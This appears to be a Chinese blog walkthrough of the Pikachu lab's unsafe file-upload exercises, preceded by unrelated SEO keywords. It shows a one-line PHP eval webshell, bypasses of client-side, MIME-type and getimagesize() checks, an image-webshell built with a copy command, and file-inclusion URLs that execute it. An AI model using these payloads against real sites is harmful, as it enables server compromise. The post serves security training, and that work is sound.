网站建设与准备,微信商城平台开发,用网站免费模板做网站要会什么,万网虚拟云空间怎么建设网站文章目录 client checkMIME Typegetimagesize 文件上传功能在web应用系统很常见#xff0c;比如很多网站注册的时候需要上传头像、上传附件等等。当用户点击上传按钮后#xff0c;后台会对上传的文件进行判断
比如是否是指定的类型、后缀名、大小等等#xff0c;然后将其按… 文章目录 client checkMIME Typegetimagesize 文件上传功能在web应用系统很常见比如很多网站注册的时候需要上传头像、上传附件等等。当用户点击上传按钮后后台会对上传的文件进行判断
比如是否是指定的类型、后缀名、大小等等然后将其按照设计的格式进行重命名后存储在指定的目录。
如果说后台对上传的文件没有进行任何的安全判断或者判断条件不够严谨则攻击着可能会上传一些恶意的文件比如一句话木马从而导致后台服务器被webshell。
所以在设计文件上传功能时一定要对传进来的文件进行严格的安全考虑。比如 --验证文件类型、后缀名、大小; --验证文件的上传方式; --对文件进行一定复杂的重命名; --不要暴露文件上传后的路径; client check 上传一句话木马1.php
?php eval($_POST[password]);?报错显示说不符合要求 查看页面代码发现有js函数做验证 前端校验不值一提直接删除js校验函数 这时候一句话木马已经上传可以通过蚁剑来连接进入
木马上传的路径
192.168.80.139/pikachu/vul/unsafeupload/uploads/1.phpMIME Type
MIME多用途互联网邮件扩展类型是设定某种扩展名的文件用一种应用程序来打开的方式类型当该扩展文件被访问的时候浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名以及一些媒体文件打开方式。 每个MIME类型由两部分组成前面是数据的大类别例如声音audio、图像image等后面定义具体的种类常见的MIME类型比如 超文本标记语言文本.html texthtml 普通文本.txt text/plain RTF文本.rtf application/rtf GIF图形.gif image/gif JPEG图形.ipeg.jpg image/jpeg 继续提交php木马文件使用Burpsuite抓取数据包发送到Repeater修改Content-Type getimagesize
菜鸟教程
Getimagesize是PHP提供的一个用来判断目标文件是不是图片的函数
对文件的开头内容进行了检测并且通过二进制识别是否为图像那么就可以利用文件头欺骗来让getimagesize()函数检测无效。
1、制作图片木马方式一
这里用GIF的文件头在一句话木马前加上GIF的文件头标识后缀改为png格式
GIF89a
?php phpinfo(); ? 图片上传后保存的地址http://192.168.80.139/pikachu/vul/unsafeupload/uploads/2023/08/16/33780664dccf36108f6808817624.png
通过使用文件包含路径去访问后门文件
http://192.168.80.139/pikachu/vul/fileinclude/fi_local.php?filename../../unsafeupload/uploads/2023/08/16/33780664dccf36108f6808817624.pngsubmit%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A22、制作图片木马方式二
准备一个jpeg格式的图片还有一个php木马文件
通过CMD命令将两个合成一个ws.jpeg生成的文件前面内容是2.jpeg后面是12.php内容
copy /d 2.jpeg 12.php ws.jpeg上传ws.jpeg图片 uploads/2023/08/16/38476764dcd1bd7cf51012008763.jpeg虽然我们绕过getimagesize()成功上传图片但只访问图片里面的php代码是执行不了的
需要通过文件包含路径去访问木马文件
http://192.168.80.139/pikachu/vul/fileinclude/fi_local.php?filename../../unsafeupload/uploads/2023/08/16/38476764dcd1bd7cf51012008763.jpegsubmit%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2